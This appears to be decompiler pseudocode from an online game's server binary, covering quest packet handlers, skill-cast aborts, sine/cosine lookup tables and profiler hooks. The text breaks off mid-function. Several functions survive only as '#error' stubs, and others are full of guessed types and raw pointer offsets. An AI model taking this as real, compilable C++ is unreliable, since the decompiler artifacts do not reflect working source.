//----- (00513B40) -------------------------------------------------------- #error "513B40: undefined or illegal type '#325' (funcsize=43)" //----- (00513BB0) -------------------------------------------------------- #error "513BB0: undefined or illegal type '#325' (funcsize=48)" //----- (00513C90) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, Observer *_Val) { std::vector > *v2; // esi@1 Observer *v3; // edx@1 signed int v4; // ecx@2 Observer *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (00513D00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::registerObsersver(void *this, Observer *observer) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::registerObsersver"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::registerObsersver"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; std::vector>::push_back( (std::vector > *)v2 + 5786, observer); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::registerObsersver"); } //----- (00513DA0) -------------------------------------------------------- #error "513DA0: undefined or illegal type '#325' (funcsize=91)" //----- (00513EC0) -------------------------------------------------------- void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear(NormalAttackDamageDelay::NormalAttackDamageTick *this) { NormalAttackDamageDelay::NormalAttackDamageTick *v1; // esi@1 unsigned int v2; // eax@1 std::deque >::iterator v3; // ST0C_8@2 std::deque >::iterator v4; // ST04_8@2 std::deque >::iterator result; // [sp+4h] [bp-14h]@2 int v6; // [sp+14h] [bp-4h]@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->nadt_DamageTime._Mysize; if ( v2 ) { v3.baseclass_0._Myoff = v1->nadt_DamageTime._Myoff + v2; *(_DWORD *)&v3.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v1; v4.baseclass_0._Myoff = v1->nadt_DamageTime._Myoff; *(_DWORD *)&v4.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v1; std::deque>::erase( &v1->nadt_DamageTime, &result, v4, v3); } --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear"); } //----- (00513F60) -------------------------------------------------------- void __thiscall ShineQuestDiary::ShineQuestDiary(ShineQuestDiary *this) { CQuestZone::CQuestZone(&this->sqd_QuestDiary, &gQuestData); } //----- (00513F90) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_ply_QuestCheck(int qf, int a2, int a3, int mobinf) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_QuestCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_QuestCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_QuestCheck"); } //----- (00513FE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestCheck(void *this, void (__thiscall *qf)(_DWORD, _DWORD, _DWORD, _DWORD), int a3, int a4, int mobinf) { void *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_QuestCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_QuestCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; qf((char *)v5 + 66032, a3, a4, mobinf); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_QuestCheck"); } //----- (00514090) -------------------------------------------------------- void __thiscall ShineQuestDiary::sqd_MobDead(ShineQuestDiary *this, #325 *a2, #325 *mob, MobDataBox::MobDataBoxIndex *mobinf) { CQuestZone *v4; // esi@1 v4 = (CQuestZone *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineQuestDiary::sqd_MobDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineQuestDiary::sqd_MobDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CQuestZone::QuestPlayer_NPCMobKill(v4, mob); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineQuestDiary::sqd_MobDead"); } //----- (00514130) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_ply_ItemLotChange(__int16 item, int delta) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ItemLotChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_ItemLotChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ItemLotChange"); } //----- (00514180) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotChange(void *this, int item, int delta) { void *v3; // esi@1 int v4; // edx@1 int v5; // esi@1 int v6; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemLotChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v3 + 16508); v5 = (int)((char *)v3 + 66032); v6 = (unsigned __int16)(*(int (__thiscall **)(int, int))(v4 + 104))(v5, item); if ( delta <= 0 ) { if ( delta < 0 ) (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v5 + 16))(v5, item, v6); } else { (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v5 + 12))(v5, item, v6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotChange"); } //----- (00514250) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S4_18 & 1) ) { _S4_18 |= 1u; cmc_87.cmc_AllowMode = 70; atexit(_E5_66); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_87.cmc_AllowMode ) { *((_DWORD *)v4 + 5819) = clockwatch.cw_CurrTick; CQuestZone::Recv_NC_QUEST_SCRIPT_CMD_ACK( (CQuestZone *)((char *)v4 + 66032), (PROTO_NC_QUEST_SCRIPT_CMD_ACK *)(netcmd + 2)); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK"); } //----- (00514350) -------------------------------------------------------- #error "514350: undefined or illegal type '#325' (funcsize=60)" //----- (00514440) -------------------------------------------------------- #error "514440: undefined or illegal type '#325' (funcsize=60)" //----- (00514530) -------------------------------------------------------- #error "514530: undefined or illegal type '#325' (funcsize=60)" //----- (00514620) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 CQuestZone *v5; // ecx@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S6_67 & 1) ) { _S6_67 |= 1u; cmc_88.cmc_AllowMode = 70; atexit(_E7_50); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_88.cmc_AllowMode ) { v5 = (CQuestZone *)((char *)v4 + 66032); if ( clockwatch.cw_CurrTick >= *((_DWORD *)v4 + 5819) + 100 ) CQuestZone::Recv_NC_QUEST_GIVE_UP_REQ(v5, (PROTO_NC_QUEST_GIVE_UP_REQ *)(netcmd + 2)); else CQuestZone::Send_NC_QUEST_GIVE_UP_ACK(v5, *(_WORD *)(netcmd + 2), 0xB49u); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ"); } //----- (00514730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S8_16 & 1) ) { _S8_16 |= 1u; cmc_89.cmc_AllowMode = 70; atexit(_E9_15); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_89.cmc_AllowMode ) CQuestZone::Recv_NC_QUEST_CLIENT_SCENARIO_DONE_REQ( (CQuestZone *)((char *)v4 + 66032), (PROTO_NC_QUEST_CLIENT_SCENARIO_DONE_REQ *)(netcmd + 2)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ"); } //----- (00514820) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S10_12 & 1) ) { _S10_12 |= 1u; cmc_90.cmc_AllowMode = 70; atexit(_E11_26); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_90.cmc_AllowMode ) CQuestZone::Recv_NC_QUEST_SELECT_START_REQ( (CQuestZone *)((char *)v4 + 66032), (PROTO_NC_QUEST_SELECT_START_REQ *)(netcmd + 2)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ"); } //----- (00514910) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S12_24 & 1) ) { _S12_24 |= 1u; cmc_91.cmc_AllowMode = 70; atexit(_E13_22); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_91.cmc_AllowMode ) CQuestZone::Recv_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD( (CQuestZone *)((char *)v4 + 66032), (PROTO_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD *)(netcmd + 2)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD"); } //----- (00514A00) -------------------------------------------------------- void __thiscall ShineRadian::ShineRadian(ShineRadian *this) { signed int v1; // esi@1 long double v2; // st7@2 signed int sr; // [sp+0h] [bp-4h]@1 v1 = 0; sr = 0; do { v2 = (double)sr * 0.03490658555555556; this->sr_sin[v1] = (unsigned __int64)(sin(v2) * 1024.0); this->sr_cos[v1++] = (unsigned __int64)(cos(v2) * 1024.0); sr = v1; } while ( v1 < 180 ); } //----- (00514A60) -------------------------------------------------------- int __thiscall ShineRadian::sr_sin1024(ShineRadian *this, int sr) { return this->sr_sin[sr % 180]; } //----- (00514A80) -------------------------------------------------------- int __thiscall ShineRadian::sr_cos1024(ShineRadian *this, int sr) { return this->sr_cos[sr % 180]; } //----- (00514AA0) -------------------------------------------------------- int __thiscall ShineRadian::sr_degree2sr(ShineRadian *this, int deg) { int v2; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineRadian::sr_degree2sr"); v2 = deg; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineRadian::sr_degree2sr"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( deg < 0 ) v2 = deg + 360 * (-1 - deg) / 0x168u + 360; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineRadian::sr_degree2sr"); return 180 * v2 % 360 / 360 % 180; } //----- (00514B50) -------------------------------------------------------- void __thiscall VectorClass::UnitVector::Rotation(VectorClass::UnitVector *this, int Radian) { VectorClass::UnitVector *v2; // esi@1 int v3; // ebx@1 int v4; // edi@1 int v5; // ST14_4@1 int v6; // ebp@1 int Radiana; // [sp+18h] [bp+4h]@1 v2 = this; v3 = this->baseclass_0.baseclass_4.v_x; v4 = Radian; v5 = this->baseclass_0.baseclass_4.v_y; Radiana = this->baseclass_0.baseclass_4.v_y * ShineRadian::sr_sin1024(&shineradian, Radian); v2->baseclass_0.baseclass_4.v_x = (v3 * ShineRadian::sr_cos1024(&shineradian, v4) - Radiana) / 1024; v6 = v5 * ShineRadian::sr_cos1024(&shineradian, v4); v2->baseclass_0.baseclass_4.v_y = (v6 + v3 * ShineRadian::sr_sin1024(&shineradian, v4)) / 1024; } //----- (00514BE0) -------------------------------------------------------- void __thiscall FanFormSectorArgument::_FanFormSectorArgument(FanFormSectorArgument *this) { this->ffsa_chardirect.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; } // 5AE638: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); //----- (00514BF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastSuccessPacket(int this) { int v1; // esi@1 int v2; // eax@1 int result; // eax@1 v1 = this; v2 = *(_DWORD *)this; *(_WORD *)(this + 32015) = 0; result = (*(int (__stdcall **)(signed int, signed int))(v2 + 772))(9, 53); *(_BYTE *)(v1 + 88992) &= 0xFDu; return result; } //----- (00514C20) -------------------------------------------------------- void __thiscall AxialListNearScanSkillEnemy::AxialListNearScanSkillEnemy(AxialListNearScanSkillEnemy *this) { AxialListNearScanSkillEnemy *v1; // esi@1 v1 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanSkillEnemy::_vftable_; } // 5D9B0C: using guessed type int (__stdcall *AxialListNearScanSkillEnemy___vftable_)(int, int, int distancesquar); //----- (00514C40) -------------------------------------------------------- void __thiscall AxialListNearScanSkillParty::AxialListNearScanSkillParty(AxialListNearScanSkillParty *this) { AxialListNearScanSkillParty *v1; // esi@1 v1 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanSkillParty::_vftable_; } // 5D9B14: using guessed type int (__stdcall *AxialListNearScanSkillParty___vftable_)(int, int, int distancesquar); //----- (00514C60) -------------------------------------------------------- void __thiscall AxialListNearScanSkillFriend::AxialListNearScanSkillFriend(AxialListNearScanSkillFriend *this) { AxialListNearScanSkillFriend *v1; // esi@1 v1 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanSkillFriend::_vftable_; } // 5D9B1C: using guessed type int (__stdcall *AxialListNearScanSkillFriend___vftable_)(int, int, int distancesquar); //----- (00514C80) -------------------------------------------------------- void __thiscall AxialListNearScanSkillParty::_AxialListNearScanSkillParty(AxialListNearScanSkillFriend *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListScanSkillTarget::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0.baseclass_0); } // 5D9B04: using guessed type int (__stdcall *AxialListScanSkillTarget___vftable_)(int, int, int distancesquar); //----- (00514C90) -------------------------------------------------------- int __fastcall ShineObjectClass::ShineMob::so_mobile_Teleport(int a1, int Location, int Locationa, int a4) { int v4; // esi@1 int v5; // ecx@1 int result; // eax@1 v4 = a1; (*(void (__fastcall **)(int, int))(*(_DWORD *)a1 + 2528))(a1, Location); (*(void (__thiscall **)(int, _DWORD, signed int, signed int))(*(_DWORD *)v4 + 828))(v4, 0, 1, 3); v5 = *(_DWORD *)(v4 + 78); *(_DWORD *)v5 = *(_DWORD *)a4; *(_DWORD *)(v5 + 4) = *(_DWORD *)(a4 + 4); *(_DWORD *)(v4 + 8792) = *(_DWORD *)a4; *(_DWORD *)(v4 + 8796) = *(_DWORD *)(a4 + 4); ShineObjectClass::ShineMob::sm_SetBrain((void *)v4); result = FieldMap::fm_Marking(*(#325 **)(v4 + 98), v4, 0, 0) == 0; if ( !result ) { AssertClass::ac_AssertFail(&shineassert, "ShineMob::smo_Teleport : Fail", 0); result = *(_DWORD *)(v4 + 3716); *(_BYTE *)result = 3; *(_DWORD *)(v4 + 7416) = 0; } return result; } //----- (00514D20) -------------------------------------------------------- void __thiscall AxialListMagicFieldAggro::_AxialListMagicFieldAggro(AxialListMagicFieldAggro *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMagicFieldAggro::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 5D9B44: using guessed type int (__stdcall *AxialListMagicFieldAggro___vftable_)(int, int, int distancesquar); //----- (00514D40) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastFail(int this, __int16 err) { __int16 result; // ax@1 result = err; *(_WORD *)(this + 32015) = err; return result; } //----- (00514D50) -------------------------------------------------------- #error "514D50: undefined or illegal type '#740' (funcsize=7)" //----- (00514D70) -------------------------------------------------------- #error "514D70: undefined or illegal type '#434' (funcsize=4)" //----- (00514D80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ChineCastCut(void *this) { void *v1; // esi@1 v1 = this; *((_BYTE *)v1 + 7368) |= 0x40u; ShineObjectClass::ShinePlayer::sp_ChineCastCut(this); *((_BYTE *)v1 + 7368) &= 0xBFu; } //----- (00514DA0) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueSkillErase *content) { unsigned int v3; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; this->mq_Buffer[this->mq_Pointer.value].content.mqr_SkillID = content->mqr_SkillID; return LOWORD(this->mq_Pointer.value); } //----- (00514DE0) -------------------------------------------------------- void __thiscall FanFormSectorArgument::FanFormSectorArgument(FanFormSectorArgument *this) { VectorClass::VectorWithLength *v1; // esi@1 int v2; // eax@1 int v3; // ST00_4@1 v1 = (VectorClass::VectorWithLength *)&this->ffsa_chardirect; this->ffsa_chardirect.baseclass_0.baseclass_4.v_x = 1; this->ffsa_chardirect.baseclass_0.baseclass_4.v_y = 1; v2 = this->ffsa_chardirect.baseclass_0.baseclass_4.v_y; v3 = this->ffsa_chardirect.baseclass_0.baseclass_4.v_x; this->ffsa_chardirect.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; this->ffsa_chardirect.baseclass_0.vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v3, v2); v1->vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::UnitVector::_vftable_; VectorClass::VectorWithLength::vwl_Scale(v1, 32); } // 5AE638: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 5CEDB0: using guessed type int (__stdcall *VectorClass__UnitVector___vftable_)(int sklidx); //----- (00514E30) -------------------------------------------------------- #error "514E30: undefined or illegal type '#325' (funcsize=34)" //----- (00514E90) -------------------------------------------------------- #error "514E90: undefined or illegal type '#325' (funcsize=104)" //----- (00515040) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S10_13 & 1) ) { _S10_13 |= 1u; cmc_92.cmc_AllowMode = 4; atexit(_E11_27); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_92.cmc_AllowMode && *((_DWORD *)v4 + 1781) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2728))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD"); } //----- (00515130) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_CastAbort(void *this) { void *v1; // esi@1 int v2; // eax@1 char *v3; // eax@4 int v4; // ST04_4@4 int v5; // eax@4 char *v6; // [sp+Ch] [bp-28h]@2 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@4 int v8; // [sp+30h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::sp_castabort"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::sp_castabort"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1787); v8 = 0; if ( v2 ) { v6 = "ShineObjectClass::ShineMobileObject::sp_castabort"; } else { if ( *((_DWORD *)v1 + 1781) ) { v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9272; *((_WORD *)v3 + 1) = *((_WORD *)v1 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v8) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 1, 65535); ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear((char *)v1 + 7124); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } v6 = "ShineObjectClass::ShineMobileObject::sp_castabort"; } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); } //----- (00515240) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_CastAbort(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_castabort"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_castabort"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::smo_CastAbort(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_castabort"); } //----- (005152E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 unsigned int v7; // ecx@1 char *v8; // ecx@1 char *v9; // eax@1 int v10; // eax@4 unsigned int v11; // ecx@7 char *v12; // ecx@7 int v13; // eax@9 int v14; // ST04_4@10 int v15; // eax@10 int v16; // edx@10 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@10 int v18; // [sp+30h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v18 = 0; v6 = (*(int (__thiscall **)(void *))(v5 + 1352))(v4); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v9 = gpp.pp_Buffer; v8[16] = 0; *(_WORD *)v9 = 9272; *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); if ( !(_S18_16 & 1) ) { _S18_16 |= 1u; cmc_93.cmc_AllowMode = 4; atexit(_E19_15); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_93.cmc_AllowMode ) { if ( *((_DWORD *)v4 + 1781) ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v14 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v18) = 1; v15 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v15, v14, 0, 0, (int)&alchat, 1, 65535); v16 = *(_DWORD *)v4; *((_DWORD *)v4 + 1781) = 0; (*(void (__thiscall **)(void *))(v16 + 2732))(v4); LOBYTE(v18) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_11; } v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1352))(v4); } else { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1352))(v4); } v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } else { 